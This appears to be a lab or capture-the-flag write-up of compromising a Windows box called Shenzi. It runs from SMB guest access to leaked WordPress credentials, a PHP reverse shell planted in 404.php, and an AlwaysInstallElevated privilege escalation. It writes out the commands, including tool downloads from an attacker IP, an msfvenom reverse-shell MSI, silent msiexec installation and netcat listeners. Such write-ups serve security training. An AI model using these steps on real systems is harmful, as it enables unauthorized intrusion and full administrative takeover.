Shenzi
Privilege Escalation using AlwaysInstallElevated
Summary
Guest users had access to
/shenzi
directory via SMB.Within this directory, I found a
password.txt
file containing the credentials for a WordPress site hosted at the/shenzi
path.Using these credentials, I logged into the WordPress admin panel.
Injected a reverse shell payload into the
404.php
page. After testing various payloads, I found that the PHP reverse shell byIvan Sincek
from revshell.com provided a stable connection.Triggering the modified
404.php
page gave me a reverse shell as a low-privileged user, allowing me to obtain the first low-privilege flag. 🎉To elevate privileges, I utilised
powerup.ps1
andwinPEAS
to identify potential escalation vectors.During this process, I discovered that the
AlwaysInstallElevated
setting was enabled. This Windows policy allows Windows Installer packages (.msi files) to be installed with administrative privileges.Leveraging this, I created a reverse shell payload embedded in a
.msi
file, uploaded it to the target machine, and installed it. This successfully granted me a reverse shell with administrator privileges, allowing me to complete the privilege escalation and achieve full control of the system.
🧵Let's Unpack
Enumeration
# Nmap
sudo nmap -sC -sN -A -oN nmapFull -p- -A 192.168.172.55
# gobuster
gobuster dir -u http://192.168.172.55 -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt
# smbclient
smbclient //192.168.172.55/shenzi -U guest
>
smb: \> dir
. D 0 Thu May 28 21:15:09 2020
.. D 0 Thu May 28 21:15:09 2020
passwords.txt A 894 Thu May 28 21:15:09 2020
readme_en.txt A 7367 Thu May 28 21:15:09 2020
sess_klk75u2q4rpgfjs3785h6hpipp A 3879 Thu May 28 21:15:09 2020
why.tmp A 213 Thu May 28 21:15:09 2020
xampp-control.ini A 178 Thu May 28 21:15:09 2020
# validating credentials using cme
crackmapexec smb 192.168.172.55 -u 'admin' -p 'FeltHeadwallWight357' --continue-on-success
Initial Foodhold
Injecting reverse shell
Updating 404.php
page to have the following PHP reverse shell
# Catching Reverse shell using NetCat
nc -nlvp 4444
# BOOM! Got a shell with low-privilege user
Privilege Escalation
Using winPEAS.exe and PowerUp.ps1 to get familiar with Priv escalation vector
# Uploading scripts to machine
iwr -uri http://192.168.45.226:8000/winPEASx64.exe -outfile winPEAS.exe
iwr -uri http://192.168.45.226:8000/PowerUp.ps1 -outfile PowerUp.ps1
The above script revealed that the AlwaysInstallElevated setting is enabled in the Windows policy.
Invoke-AllChecks
>
Check : AlwaysInstallElevated Registry Key
AbuseFunction : Write-UserAddMSI
DefaultDomainName : SHENZI
DefaultUserName : shenzi
DefaultPassword :
AltDefaultDomainName :
AltDefaultUserName :
AltDefaultPassword :
Check : Registry Autologons
# verifying manually
reg query HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Installer
reg query HKLM\Software\Policies\Microsoft\Windows\Installer
# both returned true
AlwaysInstallElevated REG_DWORD
Exploiting to gain elevated shell
# generate payload using msfconsole
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.226 lport=9999 -a x64 --platform windows -f msi -o ignite.msi
# Uploading it to machine
iwr -uri http://192.168.45.226:8000/ignite.msi -outfile ignite.msi
# installing the msi
msiexec /quiet /qn /i ignite.msi
# catching the shell using Netcat
nc -nlvp 9999
# Boom! got the shell
Last updated